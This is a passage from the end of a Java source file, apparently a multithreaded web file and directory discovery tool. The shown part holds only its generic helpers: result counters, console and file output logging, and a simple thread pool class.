methodField.setAccessible(true); 2170 | methodField.set(httpURLConnection, method); 2171 | break; 2172 | } 2173 | } catch (final Exception e) { 2174 | System.out.println(e.getMessage()); 2175 | throw new RuntimeException(e); 2176 | } 2177 | } 2178 | } 2179 | */ 2180 | /* 2181 | private Object readStream(int length, java.io.InputStream stream, String charset) 2182 | throws java.io.IOException { 2183 | final int buflen = Math.max(1024, Math.max(length, stream.available())); 2184 | byte[] buf = new byte[buflen]; 2185 | byte[] bytes = null; 2186 | 2187 | for (int nRead = stream.read(buf); nRead != -1; nRead = stream.read(buf)) { 2188 | if (bytes == null) { 2189 | bytes = buf; 2190 | buf = new byte[buflen]; 2191 | continue; 2192 | } 2193 | final byte[] newBytes = new byte[bytes.length + nRead]; 2194 | System.arraycopy(bytes, 0, newBytes, 0, bytes.length); 2195 | System.arraycopy(buf, 0, newBytes, bytes.length, nRead); 2196 | bytes = newBytes; 2197 | } 2198 | 2199 | if (charset == null) { 2200 | return bytes; 2201 | } 2202 | 2203 | if (bytes != null) { 2204 | try { 2205 | return new String(bytes, charset); 2206 | } catch (java.io.UnsupportedEncodingException e) { 2207 | 2208 | } 2209 | } 2210 | return bytes; 2211 | } 2212 | */ 2213 | private synchronized void addValidFileToResults(String strInput) { 2214 | finalResultsFiles.add(strInput); 2215 | } 2216 | 2217 | private synchronized void addValidDirToResults(String strInput) { 2218 | finalResultsDirs.add(strInput); 2219 | } 2220 | 2221 | private synchronized void incThreadCounter(int num) { 2222 | threadCounter += num; 2223 | } 2224 | 2225 | private synchronized void decThreadCounter(int num) { 2226 | threadCounter -= num; 2227 | if (threadCounter <= 0) { 2228 | threadCounter = 0; 2229 | } 2230 | } 2231 | 2232 | private synchronized void incReqCounter(int num) { 2233 | reqCounter += num; 2234 | } 2235 | 2236 | private synchronized long getReqCounter() { 2237 | return reqCounter; 2238 | } 2239 | 2240 | private boolean isInteger(String input) { 2241 | try { 2242 | Integer.parseInt(input); 2243 | return true; 2244 | } catch (Exception e) { 2245 | return false; 2246 | } 2247 | } 2248 | 2249 | private boolean isLong(String input) { 2250 | try { 2251 | Long.parseLong(input); 2252 | return true; 2253 | } catch (Exception e) { 2254 | return false; 2255 | } 2256 | } 2257 | 2258 | 2259 | private enum ShowProgressMode { 2260 | FINALRESULT, PARTIALRESULT, ALL 2261 | } 2262 | 2263 | private enum OutputType { 2264 | NORMAL, ERROR, DEBUG 2265 | } 2266 | 2267 | private synchronized static void showOutputsTree(String output, int level) { 2268 | String dentSpace = new String(new char[level]).replace("\0", " "); 2269 | String finalString = dentSpace + "|_ " + output; 2270 | showOutputs(finalString, OutputType.NORMAL, ShowProgressMode.FINALRESULT); 2271 | 2272 | } 2273 | 2274 | private synchronized static void showOutputs(String output, ShowProgressMode showProgressMode) { 2275 | showOutputs(output, OutputType.NORMAL, showProgressMode); 2276 | } 2277 | 2278 | private synchronized static void showOutputs(String output) { 2279 | showOutputs(output, OutputType.NORMAL, ShowProgressMode.FINALRESULT); 2280 | } 2281 | 2282 | private synchronized static void showOutputs(String output, OutputType outputType) { 2283 | showOutputs(output, outputType, ShowProgressMode.FINALRESULT); 2284 | } 2285 | 2286 | private synchronized static void showOutputs(String output, OutputType outputType, ShowProgressMode showProgressMode) { 2287 | // If the incoming ShowProgressMode is set to FINALRESULT, we need to show it 2288 | // If the incoming ShowProgressMode is set to ALL or PARTIALRESULT, we need to ensure our current ShowProgressMode is not set to FINALRESULT 2289 | // If the incoming ShowProgressMode is set to ALL, we need to ensure our current ShowProgressMode is also set to ALL 2290 | boolean isShowProgressModeAllowed = false; 2291 | 2292 | if (currentShowProgressMode != null) { 2293 | if (currentShowProgressMode.equals(showProgressMode) || (showProgressMode.equals(ShowProgressMode.PARTIALRESULT) && currentShowProgressMode.equals(ShowProgressMode.ALL)) || 2294 | showProgressMode.equals(ShowProgressMode.FINALRESULT)) 2295 | isShowProgressModeAllowed = true; 2296 | } else { 2297 | if (showProgressMode.equals(ShowProgressMode.FINALRESULT)) 2298 | isShowProgressModeAllowed = true; 2299 | } 2300 | // There is kind of a logical OR between outputType & isShowProgressModeAllowed ... e.g.: when isShowProgressModeAllowed is set to FALSE and outputType to DEBUG when debugMode is TRUE 2301 | 2302 | // Printing errors when isShowProgressModeAllowed=true or when we are in debug mode 2303 | if (outputType.equals(OutputType.ERROR) && (debugMode || isShowProgressModeAllowed)) { 2304 | System.err.println(output); 2305 | if (saveOutput) { 2306 | saveOutputsInFile(output); 2307 | } 2308 | } else if ((isShowProgressModeAllowed && outputType.equals(OutputType.NORMAL) || (outputType.equals(OutputType.DEBUG) && debugMode))) { 2309 | System.out.println(output); 2310 | if (saveOutput) { 2311 | saveOutputsInFile(output); 2312 | } 2313 | } 2314 | 2315 | 2316 | } 2317 | 2318 | private synchronized static void saveOutputsInFile(String output) { 2319 | if (!isOutputFileChecked) { 2320 | // First initialisation 2321 | isOutputFileChecked = true; 2322 | String checkingErrorMessage = ""; 2323 | 2324 | if (outputFile.equals(null) || outputFile.length() == 0) 2325 | checkingErrorMessage = "Filename was not provided. Please check the configuration file."; 2326 | else { 2327 | File tmpfile1 = new File(outputFile); 2328 | if (tmpfile1.exists() && !tmpfile1.isDirectory() && !tmpfile1.canWrite()) { 2329 | checkingErrorMessage = " The '" + tmpfile1.getAbsolutePath() + "' file is not writable."; 2330 | } else if (tmpfile1.isDirectory()) { 2331 | checkingErrorMessage = " The '" + tmpfile1.getAbsolutePath() + "' destination is a directory."; 2332 | } else if (!tmpfile1.exists()) { 2333 | try { 2334 | tmpfile1.createNewFile(); 2335 | } catch (Exception err) { 2336 | checkingErrorMessage = " The '" + tmpfile1.getAbsolutePath() + "' file could not be created."; 2337 | } 2338 | } 2339 | } 2340 | if (checkingErrorMessage.length() > 0) { 2341 | saveOutput = false; 2342 | showOutputs("\r\n Error in writing output: " + checkingErrorMessage, OutputType.ERROR); 2343 | return; 2344 | } 2345 | } 2346 | 2347 | 2348 | try { 2349 | output += "\r\n"; 2350 | Files.write(Paths.get(outputFile), output.getBytes(), StandardOpenOption.APPEND); 2351 | } catch (IOException err) { 2352 | if (debugMode) { 2353 | err.printStackTrace(); 2354 | } else { 2355 | System.err.println("Error in saving outputs: " + err.getMessage()); 2356 | } 2357 | } 2358 | 2359 | 2360 | } 2361 | 2362 | 2363 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 2364 | // Copied from: http://www.edparrish.com/cis160/06s/examples/ThreadPool.java 2365 | // Or: http://stackoverflow.com/questions/9700066/how-to-send-data-form-socket-to-serversocket-in-android 2366 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 2367 | static class ThreadPool extends ThreadGroup { 2368 | 2369 | private boolean isAlive; 2370 | private LinkedList taskQueue; 2371 | private int threadID; 2372 | private static int threadPoolID; 2373 | 2374 | /** 2375 | * Creates a new ThreadPool. 2376 | * 2377 | * @param numThreads The number of threads in the pool. 2378 | */ 2379 | public ThreadPool(int numThreads) { 2380 | super("ThreadPool-" + (threadPoolID++)); 2381 | //setDaemon(true); 2382 | 2383 | isAlive = true; 2384 | 2385 | taskQueue = new LinkedList<>(); 2386 | for (int i = 0; i < numThreads; i++) { 2387 | new PooledThread().start(); 2388 | } 2389 | } 2390 | 2391 | /** 2392 | * Requests a new task to run. This method returns immediately, and the task 2393 | * executes on the next available idle thread in this ThreadPool. 2394 | *

2395 | * Tasks start execution in the order they are received. 2396 | * 2397 | * @param task The task to run. If null, no action is taken. 2398 | * @throws IllegalStateException if this ThreadPool is already closed. 2399 | */ 2400 | public synchronized void runTask(Runnable task) { 2401 | if (!isAlive) { 2402 | throw new IllegalStateException(); 2403 | } 2404 | if (task != null) { 2405 | taskQueue.add(task); 2406 | notify(); 2407 | } 2408 | 2409 | } 2410 | 2411 | protected synchronized Runnable getTask() throws InterruptedException { 2412 | while (taskQueue.size() == 0) { 2413 | if (!isAlive) { 2414 | return null; 2415 | } 2416 | wait(); 2417 | } 2418 | return taskQueue.removeFirst(); 2419 | } 2420 | 2421 | /** 2422 | * Closes this ThreadPool and returns immediately. All threads are stopped, 2423 | * and any waiting tasks are not executed. Once a ThreadPool is closed, no 2424 | * more tasks can be run on this ThreadPool. 2425 | */ 2426 | public synchronized void close() { 2427 | if (isAlive) { 2428 | isAlive = false; 2429 | taskQueue.clear(); 2430 | interrupt(); 2431 | } 2432 | } 2433 | 2434 | /** 2435 | * Closes this ThreadPool and waits for all running threads to finish. Any 2436 | * waiting tasks are executed. 2437 | */ 2438 | public void join() { 2439 | // notify all waiting threads that this ThreadPool is no 2440 | // longer alive 2441 | synchronized (this) { 2442 | isAlive = false; 2443 | notifyAll(); 2444 | } 2445 | 2446 | // wait for all threads to finish 2447 | Thread[] threads = new Thread[activeCount()]; 2448 | int count = enumerate(threads); 2449 | for (int i = 0; i < count; i++) { 2450 | try { 2451 | threads[i].join(); 2452 | } catch (InterruptedException ex) { 2453 | } 2454 | } 2455 | } 2456 | 2457 | /** 2458 | * A PooledThread is a Thread in a ThreadPool group, designed to run tasks 2459 | * (Runnables). 2460 | */ 2461 | private class PooledThread extends Thread { 2462 | 2463 | public PooledThread() { 2464 | super(ThreadPool.this, "PooledThread-" + (threadID++)); 2465 | } 2466 | 2467 | public void run() { 2468 | while (!isInterrupted()) { 2469 | 2470 | // get a task to run 2471 | Runnable task = null; 2472 | try { 2473 | task = getTask(); 2474 | } catch (InterruptedException ex) { 2475 | } 2476 | 2477 | // if getTask() returned null or was interrupted, 2478 | // close this thread by returning. 2479 | if (task == null) { 2480 | return; 2481 | } 2482 | 2483 | // run the task, and eat any exceptions it throws 2484 | try { 2485 | task.run(); 2486 | } catch (Throwable t) { 2487 | uncaughtException(this, t); 2488 | } 2489 | } 2490 | } 2491 | } 2492 | } 2493 | } 2494 | --------------------------------------------------------------------------------